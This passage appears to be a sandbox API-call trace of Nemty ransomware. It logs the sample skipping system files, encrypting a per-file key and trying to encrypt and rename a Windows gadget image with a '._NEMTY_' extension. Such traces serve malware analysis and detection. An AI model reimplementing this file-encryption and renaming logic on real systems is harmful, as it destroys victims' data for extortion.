lpString2="boot.ini") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="boot.ini") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="ntuser.dat") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="desktop.ini") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="CONFIG.SYS") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="RECYCLER") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="BOOTSECT.BAK") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="bootmgr") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="programdata") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="appdata") returned 1 [0167.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0167.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_rainy.png", lpUsedDefaultChar=0x0) returned 24 [0167.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0167.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0167.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_rainy.png", lpUsedDefaultChar=0x0) returned 24 [0167.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0167.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0167.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_rainy.png", lpUsedDefaultChar=0x0) returned 24 [0167.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0167.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_rainy.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_rainy.png", lpUsedDefaultChar=0x0) returned 24 [0167.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0167.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0167.843] Sleep (dwMilliseconds=0x5) [0167.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17b20fb0, dwHighDateTime=0x1d561e8)) [0167.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17b20fb0, dwHighDateTime=0x1d561e8)) [0167.854] GetLastError () returned 0x5 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.854] GetLastError () returned 0x5 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0167.854] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.854] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.854] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0167.854] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="Evp5ZKq+famCwJZffOGHD1SX59pEe0Nhjj0SgMW/msvv0taXWVRTg8EmAaBGWvQ8\r\ndY0Ahk/2qnVqVxrDFSzJQDcheMeL6T8G16XoIMs/YgpSQZjP78T1hjmaAIS9S/AP\r\nOZCPBzBrXn3D6ezly1TxcgDiP2gnjVmfONWB2j7Ea4pAPOyltt2irzfYOX3I4H73\r\nURGoycyqTXiPDKztl+51jtA5JV7nlcJMlXMI9y8ik/5JoFIMYBdhdEmiC6E5PFTS\r\n7HP0FPAsPv2FmnBXLcxBFW9jt0osBVKcJBvxB4pb/fXKW38dkn6uP0lf39D7J5W1\r\nMbPPZ4PmsbNgk+rphitjoQ==\r\n", pcchString=0x653e91c) returned 1 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0167.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0167.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.854] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_rainy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.855] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.961] CloseHandle (hObject=0xffffffff) returned 0 [0167.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0167.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0167.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0167.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340468 [0167.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0167.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_rainy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_rainy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_rainy.png._nemty_kgobjgd_")) returned 0 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.961] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ee6f73, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ee6f73, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x34b89ac7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_snow.png", cAlternateFileName="")) returned 1 [0167.961] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2=".") returned 1 [0167.961] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="..") returned 1 [0167.961] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="...") returned 1 [0167.961] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="windows") returned -1 [0167.961] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="$RECYCLE.BIN") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="rsa") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="NTDETECT.COM") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="ntldr") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="MSDOS.SYS") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="IO.SYS") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="boot.ini") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="boot.ini") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="ntuser.dat") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="desktop.ini") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="CONFIG.SYS") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="RECYCLER") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="BOOTSECT.BAK") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="bootmgr") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="programdata") returned 1 [0167.962] lstrcmpiW (lpString1="undocked_black_snow.png", lpString2="appdata") returned 1 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_snow.png", lpUsedDefaultChar=0x0) returned 23 [0167.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0167.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, 